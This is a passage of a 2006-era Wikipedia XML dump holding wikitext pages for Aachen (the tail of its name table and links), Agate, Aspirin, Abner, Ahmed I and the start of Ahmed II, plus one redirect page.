|{{IPA|[ɛkslaʃapɛl]}}
|-
| [[Catalan language|Catalan]]
| Aquisgrà
|{{IPA|[ɐkizˈɣɾa]}}
|-
| [[Chinese language|Chinese (Simplified)]]
| 亚琛
|{{IPA|[ya shen]}}
|-
| [[Czech language|Czech]]
| Cáchy
|{{IPA|[ˈtsaːxɪ]}}
|-
| [[Polish language|Polish]]
| Akwizgran
| &amp;nbsp;
|-
| [[Dutch language|Dutch]]
| Aken
|{{IPA|[ˈaːkən]}}
|-
| [[Spanish language|Spanish]]
| Aquisgrán
|{{IPA|[akisˈɣɾan]}}
|-
| [[Italian language|Italian]]
| Aquisgrana
|{{IPA|[ˌakwisˈgɾaːna]}}
|-
| [[Latin]]
| Aquīsgrānum
|{{IPA|[ˌakwiːsˈgɾaːnum]}}
|-
| [[Serbian]]
| Ahen/Ахен
|{{IPA|[,ahen]}}
|}

==External links==
{{commons|Aachen}}
*[http://www.aachen.de/ City of Aachen] (partly available in English)
*[http://www.aseag.de/ ASEAG (public bus transport)] (in German)
*[http://www-zhv.rwth-aachen.de/zentral/english_index.htm RWTH Aachen] (University of Technology Aachen)
*[http://www.fh-aachen.de/ Fachhochschule Aachen] (Aachen University of Applied Sciences) 
*[http://wikoelsch.dergruenepunk.de/index.php/Aachen Aachen in the Ripuarian Wiki Project]
*[http://www.googleearthhacks.com/dlfile11927/Aachen,-Germany,-Image-overlays.htm Google Earth placemark with official image overlays]
*[http://www.noctes-gallicanae.org/Charlemagne/Annales/Pepin_le_Bref.htm Einhard's Annals:] first mention of ''Aquis villa'', 765
*[http://www.citymayors.com/cityhalls/aachen_cityhall.html Article on Aachen's historic buildings]

----
{{Germany districts north rhine-westphalia}}
----

[[Category:Aachen|*]]
[[Category:Cities in North Rhine-Westphalia]]
[[Category:Matter of France]]
[[Category:Spa towns]]

[[ar:آخن]]
[[bg:Ахен]]
[[ca:Aquisgrà]]
[[cs:Cáchy]]
[[da:Aachen]]
[[de:Aachen]]
[[eo:Aachen]]
[[es:Aquisgrán]]
[[et:Aachen]]
[[fa:آخن]]
[[fi:Aachen]]
[[fr:Aix-la-Chapelle]]
[[he:אאכן]]
[[ia:Aachen]]
[[it:Aquisgrana]]
[[ja:アーヘン]]
[[ko:아헨]]
[[la:Aquisgranum]]
[[li:Aoke]]
[[nl:Aken (stad)]]
[[no:Aachen]]
[[pl:Akwizgran]]
[[pt:Aachen]]
[[ro:Aachen]]
[[ru:Аахен]]
[[simple:Aachen]]
[[sr:Ахен]]
[[sk:Aachen]]
[[sl:Aachen]]
[[sv:Aachen]]
[[th:อาเค่น]]
[[wa:Åxhe]]
[[zh:阿亨]]</text>
    </revision>
  </page>
  <page>
    <title>Agapetus II</title>
    <id>1522</id>
    <revision>
      <id>15899990</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Pope Agapetus II]]
</text>
    </revision>
  </page>
  <page>
    <title>Agate</title>
    <id>1523</id>
    <revision>
      <id>38274250</id>
      <timestamp>2006-02-05T06:35:33Z</timestamp>
      <contributor>
        <username>Pschemp</username>
        <id>110252</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Contagion]] to [[Disease]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''For the French rocket, see [[Agate (rocket)]]''; for the [[font]] also known as &quot;ruby&quot;, see [[Ruby character]].
{| border=1 cellspacing=0 align=right cellpadding=0 width=250 valign=top style=&quot;margin-left:1em&quot;
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2 align=center|Agate
|----- align=center
!colspan=2|[[image:mossagate.pebble.750pix.jpg|thumb|center|250px|Moss agate pebble, one inch long (2.5 cm).]]
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2|General
|-----
|Category||[[Mineral]]
|-----
|[[Chemical formula]]|| Silica, SiO&lt;sub&gt;2&lt;/sub&gt;
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Identification
|-----
| Colour || White to grey, light blue, orange to red, black.
|-----
| [[Crystal habit]] || [[Cryptocrystal]]line silica
|-----
| [[Crystal structure|Crystal system]] || [[Hexagonal]]
|-----
| [[Cleavage (crystal)|Cleavage]]||None
|-----
| [[Fracture]]|| [[Conchoidal]] with very sharp edges.
|-----
| [[Mohs Scale]] hardness || 7
|-----
| Luster|| Waxy
|-----
| [[Refractive index]]|| Translucent to transparent
|----- 
| [[Pleochroism]]|| None
|----- 
| [[Streak]]|| None
|----- 
| [[Specific gravity]]|| 2.6
|-----
| [[Fusibility]]|| ?
|-----
| [[Solubility]]|| ?
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Major varieties
|-----
!colspan=2|None
|}

'''Agate''' is a term applied not to a distinct [[mineral]] species, but to an aggregate of various forms of [[silicon dioxide|silica]], chiefly [[chalcedony]]. 

According to [[Theophrastus]], the agate (achates) was named from the river Achates, now the [[Drillo]], in [[Sicily]], where the stone was first found.  

== Formation and characteristics ==
Most agates occur as nodules in eruptive rocks or ancient [[lava]]s where they represent cavities originally produced by the disengagement of vapour in the molten mass which were then filled, wholly or partially, by siliceous matter deposited in regular layers upon the walls. Such agates, when cut transversely, exhibit a succession of parallel lines, often of extreme tenuity, giving a banded appearance to the section. Such stones are known as banded agate, riband agate and striped agate.  

In the formation of an ordinary agate, it is probable that waters containing silica in solution -- derived, perhaps, from the decomposition of some of the silicates in the lava itself -- percolated through the rock and deposited a siliceous coating on the interior of the vapour-vesicles. Variations in the character of the solution or in the conditions of deposit may cause corresponding variation in the successive layers, so that bands of chalcedony often alternate with layers of crystalline [[quartz]]. Several vapour-vesicles may unite while the rock is [[Viscosity|viscous]], and thus form a large cavity which may become the home of an agate of exceptional size; thus a [[Brazil|Brazilian]] [[geode]] lined with [[amethyst]] and weighing 35 tons was exhibited at the [[Dusseldorf Exhibition]] of [[1902]]. 

The first deposit on the wall of a cavity, forming the &quot;skin&quot; of the agate, is generally a dark greenish mineral substance, like [[celadonite]], [[delessite]] or &quot;[[green earth]],&quot; which are  rich in [[iron]] probably derived from the decomposition of the [[augite]] in the mother-rock. This green silicate may give rise by alteration to a brown [[oxide]] of iron ([[limonite]]), producing a rusty appearance on the outside of the agate-nodule. The outer surface of an agate, freed from its matrix, is often pitted and rough, apparently in consequence of the removal of the original coating. The first layer spread over the wall of the cavity has been called the &quot;priming,&quot; and upon this base zeolitic minerals may be deposited.  

[[Image:Agate banded 750pix.jpg|thumb|left|250px|Banded agate. The specimen is one inch (2.5 cm) wide.]]

Many agates are hollow, since deposition has not proceeded far enough to fill the cavity, and in such cases the last deposit commonly consists of quartz, often amethyst, having the apices of the [[crystal]]s directed towards the free space so as to form a crystal-lined cavity, or geode. 

On the disintegration of the matrix in which the agates are embedded, they are set free. Being a siliceous material, which is extremely resistant to the action of air and water, they remain as nodules in the [[soil]] and [[gravel]], or become rolled as pebbles in streams. 

== Types of agate ==

A [[Mexico|Mexican]] agate, showing only a single [[eye]], has received the name of &quot;[[cyclops (rock)|cyclops]] agate.&quot; Included matter of a green, golden, red, black or other colour or combinations embedded in the chalcedony and disposed in filaments and other forms suggestive of vegetable growth, gives rise to dendritic or [[moss agate]] (named varieties include Maury Mountain, Richardson Ranch, Sheep Creek and others). 
'''Dendritic''' agates have beautiful fern like patterns on them formed due to the presence of manganese and iron ions. Other types of included matter deposited during agate-building include sagenitic growths (radial mineral crystals) and chunks of entrapped detritus (such as sand, ash, or mud). Occasionally agate fills a void left by decomposed vegatative material such as a tree limb or root and is called limb cast agate due to its appearance.

Turritella agate is formed from [[fossil]] Turritella shells silicified in a chalcedony base. Turritella are spiral marine [[gastropod]]s having elongated, spiral shells composed of many whorls. Similarly, [[coral]], [[petrified wood]] and other organic remains or porous rocks can also become agatized. Agatized coral is often referred to as [[Petoskey stone|Petoskey]] agate or stone.

Certain stones, when examined in thin sections by transmitted light, show a diffraction spectrum due to the extreme delicacy of the successive bands, whence they are termed [[rainbow agates]]. Often agate coexists with layers or masses of opal, jasper or crystaline quartz due to ambient variations during the formation process.

Other forms of agate include carnelian agate (usually exhibiting redish hues), Botswana agate, blue lace agate, plume agate (such as Carey, Graveyard Point, Sage, St. Johns, Teeter Ranch and others), tube agate (with visible flow channels), fortification agate (which exhibit little or no layered structure), fire agate (which seems glow internally like an opal) and Mexican crazy-lace agate (which exhibits an often brightly colored, complex banded pattern).

== Agate beliefs ==
[[Image:Agatebots.jpg|thumb|right|Faceted Botswana agate]]
In [[Islam]], agates are deemed to be very precious stones. According to tradition, the wearer of an agate ring, for example, is believed to be protected from various mishaps and will enjoy longevity, among other benefits. In other traditions agate is believed to cure the stings of [[scorpion]]s and the bites of [[snake]]s, soothe the mind, prevent [[Disease|contagion]], still [[thunder]] and [[lightning]], promote [[eloquence]], secure the favour of the powerful, and bring victory over enemies. Persian [[magi]] are also known to have prized agate rings in their work and beliefs.

The [[Shia]] Book of collected prayers, ''Mafatih Al-janan'', quotes the fifth Shia saint Imam [[Muhammad al-Baqir]] on agates, as such:

''&quot;Whosoever endures the night 'til sunrise wearing an agate ring on his/her right hand, before seeing or being seen by any human that morning, turns the agate ring toward the palm side of his/her hand, and while looking at the gem recites the 97th chapter of the Qur'an followed by this prayer [specified], then the God of the Universe shall grant him/her immunity on that day from any danger that falls from the sky, or rises up to it, or which disappears into the earth, or rises out of it, and he/she shall remain protected by the power of God and the agents of God until dusk.&quot;'' (p1212 of version by Haj Sheikh Abbas Qomi)

==See also==
*[[list of minerals]]

==Reference==
* [http://www.minsocam.org/MSA/collectors_corner/arc/silicanom.htm ''The Nomenclature of Silica'' by Gilbert Hart, American Mineralogist, Volume 12, pages 383-395, 1927]

[[Category:Minerals]]
[[Category:Quartz varieties]]

[[ar:عقيق]]
[[da:Agat]]
[[de:Achat]]
[[es:Ágata]]
[[eo:Agato]]
[[fr:Agate]]
[[nl:Agaat]]
[[ja:メノウ]]
[[pl:Agat]]
[[pt:Ágata]]
[[ru:Агат]]
[[sk:Achát]]
[[sl:Ahat]]
[[fi:Akaatti]]
[[sv:Agat]]
[[uk:Агат]]</text>
    </revision>
  </page>
  <page>
    <title>Aspirin</title>
    <id>1525</id>
    <revision>
      <id>42150395</id>
      <timestamp>2006-03-04T03:46:00Z</timestamp>
      <contributor>
        <ip>69.199.235.201</ip>
      </contributor>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| class=&quot;toccolours&quot; border=&quot;1&quot; style=&quot;float: right; clear: right; margin: 0 0 1em 1em; border-collapse: collapse;&quot;
! {{chembox header}}| '''{{PAGENAME}}'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; bgcolor=&quot;#ffffff&quot; |
[[Image:Acetyl salicylic acid chemical structure.png|120px|{{PAGENAME}}]]
|-
| [[IUPAC nomenclature|Chemical name]]
| 2-(acetyloxy)benzoic acid
|-
| [[Chemical formula]]
| C&lt;sub&gt;9&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;
[[benzene ring|C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;]]([[oxygen|O]][[acetyl|COCH&lt;sub&gt;3&lt;/sub&gt;]])[[carboxylic acid|COOH]]
|-
| Synonyms
| 2-acetyloxybenzoic acid&lt;br/&gt;2-acetoxybenzoic acid&lt;br/&gt;acetylsalicylate&lt;br/&gt;acetylsalicylic acid&lt;br/&gt;O-acetylsalicylic acid
|-
| [[Molecular mass]]
| 180.16 g/mol
|-
| [[CAS registry number|CAS number]]
| 50-78-2
|-
{{PubChem Row|2244}}
|-
| [[ATC code]]
| B01AC06
|-
| [[Density]]
| 1.40 g/cm&lt;sup&gt;3&lt;/sup&gt;
|-
| [[Melting point]]
| 136°C (277°F)
|-
| [[Boiling point]]
| decomposes at 140°C (284°F)
|-
| [[Simplified molecular input line entry specification|SMILES]]
| CC(=O)OC1=CC=CC=C1C(=O)O
|-
| {{chembox header}} | &lt;small&gt;[[wikipedia:Chemical infobox|Disclaimer and references]]&lt;/small&gt;
|-
|}

'''Aspirin''' or '''acetylsalicylic acid''' is a [[Medication|drug]] in the family of [[salicylate]]s, often used as an [[analgesic]] (against minor pains and aches), [[antipyretic]] (against [[fever]]), and anti-[[inflammation|inflammatory]]. It has also an [[anticoagulant]] (blood-thinning) effect and is used in long-term low-doses to prevent [[heart attack]]s.

Low-dose long-term aspirin irreversibly blocks formation of [[thromboxane]] A2 in  [[platelet]]s, producing an inhibitory effect on [[platelet aggregation]], and this blood-thinning property makes it useful for reducing the incidence of heart attacks. Aspirin produced for this purpose often comes in 75 or 81 [[Milligram|mg]] dispersible [[tablet]]s and is sometimes called &quot;Junior aspirin.&quot; High doses of aspirin are also given immediately after an acute heart attack. These doses may also inhibit the synthesis of [[prothrombin]] and may therefore produce a second and different anticoagulant effect.

Several hundred fatal overdoses of aspirin occur annually, but the vast majority of its uses are beneficial.  Its primary undesirable side effects, especially in stronger doses, are [[gastrointestinal]] distress (including [[gastric ulcer|ulcers]] and stomach bleeding) and [[tinnitus]]. Another side effect, due to its anticoagulant properties, is increased bleeding in [[menstruating]] women. Because there appears to be a connection between aspirin and [[Reye's syndrome]], aspirin is no longer used to control flu-like symptoms in minors.

Aspirin was the first discovered member of the class of drugs known as non-steroidal anti-inflammatory drugs ([[NSAID]]s), not all of which are salicylates, though they all have similar effects and a similar action mechanism.

== ASPIRIN ==

The brand name ''Aspirin'' was coined by the [[Bayer]] company of [[Germany]]. In some countries the name is used as a [[genericized trademark|generic term]] for the drug rather than the manufacturer's [[trademark]]. In countries in which Aspirin remains a trademark, the [[initialism]] '''ASA''' is used as a generic term ('''ASS''' in German-language countries, for ''Acetylsalicylsäure''; '''AAS''' in Spanish- and Portuguese-language countries, for ''ácido acetilsalicílico'').
[[Image:Aspirin.jpg|thumb|Aspirin]]
The name &quot;aspirin&quot; is composed of ''a-'' (from the [[acetyl group]]) ''-spir-'' (from the ''[[spiraea]]'' flower) and ''-in'' (a common ending for drugs at the time). On [[March 6]], [[1899]][[Bayer]] registered it as a [[trademark]].

However, the German company lost the right to use the trademark in many countries as the [[Allies]] seized and resold its foreign assets after [[World War I]]. The right to use &quot;Aspirin&quot; in the United States (along with all other Bayer trademarks) was purchased from the U.S. government by Sterling Drug, Inc. in [[1918]]. Even before the [[patent]] for the drug expired in [[1917]], Bayer had been unable to stop competitors from copying the formula and using the name elsewhere, and so, with a flooded market, the public was unable to recognize &quot;Aspirin&quot; as coming from only one manufacturer. Sterling was subsequently unable to prevent &quot;Aspirin&quot; from being ruled a [[genericized trademark]] in a U.S. federal court in [[1921]]. Sterling was ultimately acquired by Bayer in 1994, but this did not restore the U.S. trademark.  Other countries (such as [[Canada]]) still consider &quot;Aspirin&quot; a protected trademark.

== Discovery ==

[[Image:Acetylsalicylicacid.jpg|thumb|180px|Acetylsalicylic acid crystals]]
[[Hippocrates]], a [[Hellenic civilization|Greek]] physician, wrote in the [[5th century BC]] about a bitter powder extracted from [[willow]] bark that could ease aches and pains and reduce fevers. This remedy is also mentioned in texts from ancient [[Sumeria]], [[Egypt]] and [[Assyria]]. Native Americans claim to have used it for headaches, fever, sore muscles, rheumatism, and chills. The Reverend [[Edward Stone]], a vicar from Chipping Norton in [[Oxfordshire]] [[England]], noted in [[1763]] that the bark of the willow was effective in reducing a fever.

The active extract of the bark, called ''salicin'', after the [[Latin]] name for the White willow (''[[Salix alba]]''), was isolated to its crystalline form in [[1828]] by [[Henri Leroux]], a [[France|French]] pharmacist, and [[Raffaele Piria]], an [[Italy|Italian]] chemist, who then succeeded in separating out the acid in its pure state. Salicin is highly acidic when in a saturated solution with water ([[pH]] = 2.4), and is called [[salicylic acid]] for that reason.

This chemical was also isolated from [[meadowsweet]] flowers (genus ''[[Filipendula]]'', formerly classified in ''[[Spiraea]]'') by German researchers in 1839. While their extract was somewhat effective, it also caused digestive problems such as irritated stomach and diarrhea, and even death when consumed in high doses. In 1853, a French chemist named Charles Frederic Gerhardt neutralized salicylic acid by buffering it with sodium (sodium salicylate) and acetyl chloride, creating acetosalicylic anhydride. Gerhardt's product worked, but he had no desire to market it and abandoned his discovery. In 1897, [[Felix Hoffmann]], a researcher at [[Bayer|Friedrich Bayer &amp; Co.]] in [[Germany]], derivatized one of the [[hydroxy|hydroxyl]] [[functional group]]s in salicylic acid with an [[acetyl]] group (forming the acetyl [[ester]]), which greatly reduced the negative effects.  This was the first synthetic drug, not a copy of something that existed in nature, and the start of the pharmaceuticals industry.  Hoffmann
made some of the formula and gave it to his father, who was suffering from the pain of arthritis and could not stand the side effects of salicylic acid. With good results, he then convinced [[Bayer]] to market the new wonder drug. Aspirin was patented on March 6, 1899. It was marketed alongside another of Hoffmann's products, an acetylated synthetic of [[morphine]] called [[Heroin]].  Heroin was initially the more successful of the two painkillers, but, as Heroin's shortcoming of addictiveness became more obvious, Aspirin stepped to the forefront.  Aspirin was originally sold as a powder and was an instant success; in 1915, Bayer introduced Aspirin tablets.

[[Image:BayerHeroin.png|thumb|right|150px|Advertisement for Aspirin, Heroin, Lycetol, Salophen]]

Several claims to invention of aspirin have arisen.  Acetylsalicylic acid was already being manufactured by the Chemische Fabrik von Heyden Company in [[1897]], although without a brand name.  [[Arthur Eichengrün]] claimed in [[1949]] that he planned and directed the synthesis of aspirin while Hoffmann's role was restricted to the initial lab synthesis using Eichengrün's process.  In [[1999]], Walter Sneader of the Department of Pharmaceutical Sciences at the University of [[Strathclyde]] in [[Glasgow]] reexamined the case and agreed with Eichengrün's account. Bayer continues to recognize Felix Hoffmann as aspirin's official inventor.  Despite its argued origin, Bayer's marketing was responsible for bringing it to the world.

It was not until the [[1970]]s that the mechanism of action of aspirin and similar drugs called [[NSAID]]s was elucidated (see below).

==Synthesis of aspirin==

[[Image:Aspirin-synthesis.gif]]

Aspirin is commercially synthesized using a two-step process.  First, [[phenol]] (generally extracted from coal tar) is treated with a sodium base generating sodium phenoxide, which is then reacted with [[carbon dioxide]] under high temperature and pressure to yield salicylate, which is acidifed, yielding [[salicylic acid]].

Salicylic acid is then acylated using [[acetic anhydride]], yielding aspirin.  It is a common experiment performed in organic chemistry labs, and generally tends to produce low yields due to the relative difficulty of its extraction from an aqueous state.

Formulations containing high concentrations of aspirin often smell of vinegar, this is because aspirin can undergo autocatalytic degradation to salicylic acid in moist conditions, yielding salicylic acid and [[acetic acid]].

== How it works ==

In a piece of research for which he was awarded both a [[Nobel prize]] in [[Nobel Prize in Physiology or Medicine| Physiology or Medicine]] in 1982 and a knighthood, [[John Robert Vane]], who was then employed by the Royal College of Surgeons in London, showed in 1971 that aspirin suppresses the production of [[prostaglandins]] and [[thromboxanes]]. This happens because [[cyclooxygenase]], an [[enzyme]] that participates in the production of  prostaglandins and thromboxanes, is irreversibly inhibited when aspirin acetylates it. This makes aspirin different from other NSAIDS (such as [[diclofenac]] and [[ibuprofen]]), which are reversible inhibitors.

Prostaglandins are local [[hormone]]s (paracrine) produced in the body and have diverse effects in the body, including but not limited to transmission of pain information to the brain, modulation of the [[hypothalamus|hypothalamic]] thermostat, and inflammation.
Thromboxanes are responsible for the aggregation of [[platelet]]s that form [[clot|blood clots]]. Heart attacks are primarily caused by blood clots, and their reduction with the introduction of small amounts of aspirin has been seen to be an effective medical intervention. The side-effect of this is that the ability of the blood in general to clot is reduced, and excessive bleeding may result from the use of aspirin.
[[Image:Aspirin-rod-povray.png|thumb|right|3D model of chemical structure of aspirin]]
More recent work has shown that there are at least two different types of cyclooxygenase: COX-1 and COX-2. Aspirin inhibits both of them. Newer [[NSAID]] drugs called [[COX-2 selective inhibitor]]s have been developed that inhibit only COX-2, with the hope for reduction of gastrointestinal side-effects.

However, several of the new [[COX-2 selective inhibitor]]s have been recently withdrawn, after evidence emerged that COX-2 inhibitors increase the risk of heart attack. It is proposed that endothelial cells lining the arteries in the body express COX-2, and, by selectively inhibiting COX-2, prostaglandins (specifically PGF2) are downregulated with respect to thromboxane levels, as COX-1 in platelets is unaffected. Thus, the protective anti-coagulative effect of PGF2 is decreased, increasing the risk of thrombus and associated heart attacks and other circulatory problems. Since platelets have no DNA, they are unable to synthesize new COX once aspirin has irreversibly inhibited the enzyme, rendering them &quot;useless&quot;: an important difference with reversible inhibitors.

Furthermore, aspirin has 2 additional modes of actions, contributing to its strong analgesic, antipyretic and antiinflammatory properties:

* It uncouples oxidative phosphorylation in cartilaginous (and hepatic) mitochondria.
* It induces the formation of NO-radicals in the body that enable the white blood cells (leukocytes) to fight infections more effectively. This has been found recently by Dr. Derek W. Gilroy, winning Bayer's International Aspirin Award 2005.

Also, recently aspirin has been proven to prevent carcinoma of the colon, if given in low doses over years.

== Indications ==

Aspirin, as with many older drugs, has proven to be useful in many conditions, and, despite its well-known toxicity, it is widely used, since physicians are familiar with its properties. Indications for its use include:

* [[Fever]]
* [[Pain]] (especially useful for conditions involving osteoid [[osteoma]], [[arthritis]] and chronic pain)
* [[Migraine]]
* [[Myocardial infarction]] prophylaxis (low dose)
* [[Rheumatic fever]] (drug of choice)
* [[Kawasaki's Disease]] (along with IVIG)

== Contraindications and warnings ==

* Do ''not'' take this medicine if you are allergic to aspirin, [[ibuprofen]] or [[naproxen]].
* Talk to your doctor if your symptoms do ''not'' improve after a few days of therapy.
* If you have [[kidney disease]], [[ulcer]]s, mild [[diabetes]], [[gout]] or [[gastritis]], talk to your doctor before using this medicine.
* Taking aspirin with [[alcoholic beverage|alcohol]] increases the chance of stomach bleeding. Avoid alcohol with this medicine.
* Giving aspirin to children, including teenagers having a cold or flu can cause a serious condition known as [[Reye's syndrome]].
* Patients with [[hemophilia]], other bleeding tendencies, or a bleeding ulcer should not take salicylates.
* Some sources recommend that patients with [[hyperthyroidism]] avoid aspirin because it elevates T4 levels. [http://www.patient.co.uk/showdoc/40001339/]

== Common side-effects ==

* Gastrointestinal complaints (stomach upset, [[dyspepsia]], heartburn, small blood loss). To help avoid these problems, it is recommended that aspirin be taken at or after meals. Undetected blood loss may lead to [[hypochromic anemia]].
* Severe gastrointestinal complaints (gross bleeding and/or ulceration), requiring discontinuation and immediate treatment. Patients receiving high doses and/or long-term treatment should receive gastric protection with high-dosed antacids, [[ranitidine]] or [[omeprazole]].
* Frequently, central effects (dizziness, [[tinnitus]], hearing loss, [[Vertigo (medical)|vertigo]], centrally mediated vision disturbances, and headaches). The higher the daily dose is, the more likely it is that central nervous system side effects will occur.
* Sweating, seen with high doses, independent from antipyretic action
* Long-term treatment with high doses (arthritis and rheumatic fever): often increased liver enzymes without symptoms, rarely reversible liver damage. The potentially fatal [[Reye's syndrome]] may occur, if given to pediatric patients with fever and other signs of infections. The syndrome is due to fatty degeneration of liver cells. Up to 30 percent of those afflicted will eventually die. Prompt hospital treatment may be life-saving.
* Chronic [[nephritis]] with long-term use, usually if used in combination with certain other painkillers. This condition may lead to chronic renal failure.
* Prolonged and more severe bleeding after operations and post-traumatic for up to 10 days after the last aspirin dose. If one wishes to counteract the bleeding tendency, fresh [[thrombocyte]] concentrate will usually work.
* Skin reactions, [[angioedema]], and [[bronchospasm]] have all been seen infrequently.

== Overdose ==
Aspirin overdose has serious consequences and is potentially lethal. Possible effects of overdose include [[tinnitus]], abdominal pain, [[hypokalemia]], [[hypoglycemia]], [[pyrexia]], [[hyperventilation]], [[cardiac arrhythmia|dysrhythmia]], [[hypotension]], [[hallucination]], [[renal failure]], [[Mental confusion|confusion]], [[seizure]], [[coma]] and [[death]].

Overdose can be acute or chronic; that is, a person can overdose by taking one very large dose or smaller doses over a period of time. Acute overdose has a [[mortality rate]] of 2%. Chronic overdose is more commonly lethal with a mortality rate of 25%. The most common cause of death during an aspirin overdose is [[pulmonary edema|noncardiogenic pulmonary edema]].

An acute-overdose patient must be taken to a hospital immediately. Contrary to the [[urban legend]], you can die from eating a bottle of pills, even if you subsequently throw up. Treatment of an acute overdose requires ingestion of [[activated charcoal]] to neutralize the acetylsalicylic acid in the [[gastrointestinal tract]], followed by a [[stomach pump]] with subsequent re-ingestion of [[activated charcoal]].  Patients are then monitored for at least 12 hours and typically given [[intravenous]] [[potassium chloride]] to counteract [[hypokalemia]], [[sodium bicarbonate]] to neutralize [[salicylate]] in the blood and restore the blood's sensitive pH balance, and [[glucose]] to restore [[blood sugar]] levels. Frequent blood work is performed to check [[metabolic]], [[salicylate]], and [[blood sugar]] levels; [[arterial blood gas]] assessments are performed to test for [[alkalosis|respiratory alkalosis]] and [[metabolic acidosis]]. If the overdose was intentional, the patient will undergo psychiatric
evaluation, as with any [[suicide]] attempt.

Fifty-two deaths involving single-ingredient aspirin were reported in the United States in the year 2000.{{ref|litovitz-2001}}

== External links ==
* http://bmj.bmjjournals.com/cgi/content/full/321/7276/1591
* http://almaz.com/nobel/medicine/aspirin.html
* http://chemed.chem.purdue.edu/genchem/topicreview/bp/1biochem/research7.html
* http://www.med.mcgill.ca/mjm/issues/v02n02/aspirin.html
* http://www.jhu.edu/~jhumag/0297web/health.html
* http://www.howstuffworks.com/aspirin
*[http://www.bluerhinos.co.uk/molview/indv.php?id=5 Molview from bluerhinos.co.uk] See Aspirin in 3D

== References ==
# {{note|litovitz-2001}} Litovitz TL. 2000 annual report of the American Association of Poison Control Centers Toxic Exposure Surveillance System. Am J Emerg Med 2001;19(5):337-395

{{analgesics}}

[[Category:Non-steroidal anti-inflammatory drugs]]
[[Category:Antiplatelet drugs]]
[[Category:Over-the-counter substances]]
[[Category:Aromatic compounds]]
[[Category:Acetates]]
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  <page>
    <title>Abner</title>
    <id>1526</id>
    <revision>
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      <minor />
      <comment>Minor cleanup of verse citations</comment>
      <text xml:space="preserve">In the [[Book of Samuel]], '''Abner''' ([[Biblical Hebrew]] for &quot;father of [or is a] light&quot;), is first cousin to [[Saul the King|Saul]] and commander-in-chief of his army (1 Samuel 14:50, 20:25).  He is only referred to incidentally in Saul's history (1 Samuel 17:55, 26:5), and is not mentioned in the account of the disastrous [[battle of Gilboa]] when Saul's power was crushed.  Seizing the youngest but only surviving of Saul's sons, [[Ishbaal]], Abner set him up as king over [[Kingdom of Israel|Israel]] at [[Mahanaim]], east of the [[Jordan River|Jordan]]. [[David]], who was accepted as king by [[Kingdom of Judah|Judah]] alone, was meanwhile reigning at [[Hebron]], and for some time war was carried on between the two parties.  

The only engagement between the rival factions which is told at length is noteworthy, inasmuch as it was preceded by an encounter at [[Gibeon]] between twelve chosen men from each side, in which the whole twenty-four seem to have perished (2 Samuel 2:12).  In the general engagement which followed, Abner was defeated and put to flight.  He was closely pursued by [[Asahel]], brother of [[Joab]], who is said to have been &quot;light of foot as a wild roe&quot; (2 Samuel 2:18).  As Asahel would not desist from the pursuit, though warned, Abner was compelled to slay him in 
self-defence.  This originated a deadly [[feud]] between the leaders of the opposite parties, for Joab, as next of kin to Asahel, was by the law and custom of the country the avenger of his blood.

For some time afterwards the war was carried on, the advantage being invariably on the side of David.  At length, Ishbaal lost the main prop of his tottering cause by remonstrating with Abner for marrying [[Rizpah]], one of Saul's [[concubine]]s, an alliance which, according to contemporary notions, implied pretensions to the [[throne]] (cf. 2 Samuel 16:21ff.).

Abner was indignant at the deserved rebuke, and immediately opened negotiatons with David, who welcomed him on the condition that his wife [[Michal]] should be restored to him. This was done, and the proceedings were ratified by a feast.  Almost immediately after, however, Joab, who had been sent away, perhaps intentionally returned and slew Abner at the gate of Hebron.  The ostensible motive for the [[assassination]] was a desire to avenge Asahel, and this would be a sufficient justification for the deed according to the moral standard of the time.  The conduct of David after the event was such as to show that he had no complicity in the act, though he could not venture to punish its perpetrators (2 Samuel 3:31-39; cf. 1 Kings 2:31ff.).

Soon however, Ishbaal/Ishbosheth was assassinated as he slept, and David became king of the reunited kingdoms. 

{{1911}}

[[Category:Tanakh people]]

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  <page>
    <title>Ahmed I</title>
    <id>1527</id>
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      <text xml:space="preserve">[[Image:Sultan ahmed I.jpg|frame|Sultan Ahmed I]]

'''Ahmed I''' (in [[Arabic language|Arabic]] أحمد الأول) ([[April 18]], [[1590]] &amp;ndash; [[November 22]], [[1617]]) was the [[sultan]] of the [[Ottoman Empire]] from [[1603]] until his death.

He succeeded his father [[Mehmed III]] in [[1603]] and became the first Ottoman sultan who reached the throne before attaining his majority. He was of kindly and humane disposition, as he showed by refusing to put to death his brother Mustafa (later [[Mustafa I]]), who eventually succeeded him.  He was known for his skills in fencing, horseback riding, and fluency in numerous languages.  

In the earlier part of his reign he showed decision and vigour, which were belied by his subsequent conduct. The wars which attended his accession both in [[Hungary]] and in [[Iran|Persia]] terminated unfavourably for the Empire, and her prestige received its first check in the [[Treaty of Sitvatorok]], signed in [[1606]], whereby the annual tribute paid by [[Austria]] was abolished. [[Georgia (country)|Georgia]] and [[Azerbaijan]] was ceded to Persia.

Ahmed gave himself up to pleasure during the remainder of his reign, which ended in [[1617]], and demoralization and corruption became as general throughout the public service as indisciplin in the ranks of the army.  The use of [[tobacco]] is said to have been introduced in the Empire during his reign. Ahmed I died of [[typhus]] in [[1617]].

Today Ahmed I is remembered mainly for the construction of the [[Sultan Ahmed Mosque]] (also known as the [[Blue Mosque]]), one of the masterpieces of [[Islamic architecture]]. The area in [[Istanbul]] around the Mosque is today called Sultanahmet. He is buried in a masoleum right outside the walls of the famous mosque.

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  <page>
    <title>Ahmed II</title>
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      <text xml:space="preserve">'''Ahmed II''' (in [[Arabic language|Arabic]] أحمد الثانى) ([[February 25]], [[1643]] &amp;ndash; [[1695]]) was the [[sultan]] of the [[Ottoman Empire]]. Ahmed was the son of Sultan [[Ibrahim I]] and succeeded his brother [[Suleiman II]] in [[1691]].

